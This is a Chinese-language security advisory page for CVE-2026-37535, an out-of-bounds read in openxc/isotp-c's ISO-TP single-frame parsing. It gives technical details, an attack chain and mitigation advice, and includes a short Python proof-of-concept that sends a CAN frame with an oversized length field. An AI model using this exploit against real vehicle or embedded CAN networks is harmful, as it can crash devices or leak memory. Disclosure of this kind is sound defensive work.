IPBUF安全漏洞报告
English
CVE-2026-37535 CVSS 7.1 高危

CVE-2026-37535 openxc/isotp-c越界读取漏洞

披露日期: 2026-05-01

漏洞信息

漏洞编号
CVE-2026-37535
漏洞类型
越界读取
CVSS评分
7.1 高危
攻击向量
邻接 (AV:A)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
openxc/isotp-c

相关标签

越界读取拒绝服务信息泄露CAN总线ISO-TPopenxc

漏洞概述

openxc/isotp-c组件在处理ISO-TP单帧数据时存在越界读取漏洞。由于未对4位负载长度进行有效验证,直接将其用于内存拷贝大小,攻击者可利用恶意CAN帧导致拒绝服务或信息泄露。该漏洞无需认证且无用户交互即可在邻接网络被利用,风险较高。

技术细节

该漏洞位于`src/isotp/receive.c`的ISO-TP单帧接收处理程序中。在解析单帧时,程序直接提取首字节低4位作为数据长度,并将其传递给`memcpy`函数,而未检查该长度是否超过实际接收到的CAN帧数据长度。攻击者通过构造长度声明大于实际数据的恶意CAN帧,可触发越界内存读取。这可能导致读取敏感内存数据或导致程序崩溃,从而影响系统的机密性和可用性。

攻击链分析

STEP 1
Reconnaissance
攻击者识别目标系统正在使用存在漏洞的openxc/isotp-c库,并确定目标CAN总线或网络的接入点。
STEP 2
Crafting Malicious Frame
攻击者构造一个特殊的ISO-TP单帧CAN报文,将首字节的低4位(长度字段)设置为一个较大的值(如0xF),但实际载荷数据较短。
STEP 3
Transmission
通过邻接网络(AV:A)将恶意CAN帧发送给目标设备,无需用户交互或认证。
STEP 4
Exploitation
目标设备的ISO-TP接收处理程序解析该帧,直接使用恶意的长度值执行memcpy,导致越界读取内存,引发信息泄露或拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import can # PoC for CVE-2026-37535: ISO-TP Single Frame Out-of-Bounds Read # This script sends a malicious CAN frame with an oversized length nibble. # Configure the CAN interface (adjust 'vcan0' or interface type as needed) bus = can.interface.Bus(channel='vcan0', bustype='socketcan') def malicious_isotp_frame(): # Arbitration ID arb_id = 0x123 # ISO-TP Single Frame structure: # Byte 0: [Type (0 high nibble) | Length (low nibble)] # Setting length nibble to 0xF (15 bytes) but sending less data. # This triggers the out-of-bounds read in the vulnerable memcpy. data = [0x0F, 0x41, 0x42] msg = can.Message(arbitration_id=arb_id, data=data, is_extended_id=False) try: bus.send(msg) print(f"Malicious frame sent to ID {hex(arb_id)}: {data}") except Exception as e: print(f"Error sending frame: {e}") if __name__ == "__main__": malicious_isotp_frame() bus.shutdown()

影响范围

openxc/isotp-c <= commit 5a5d19245f65189202719321facd49ce6f5d46ac

防御指南

临时缓解措施
建议立即检查并更新受影响的组件。在无法立即升级的情况下,应在CAN总线接口处实施流量监控,丢弃长度字段异常的ISO-TP单帧数据包,以防止漏洞被触发。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表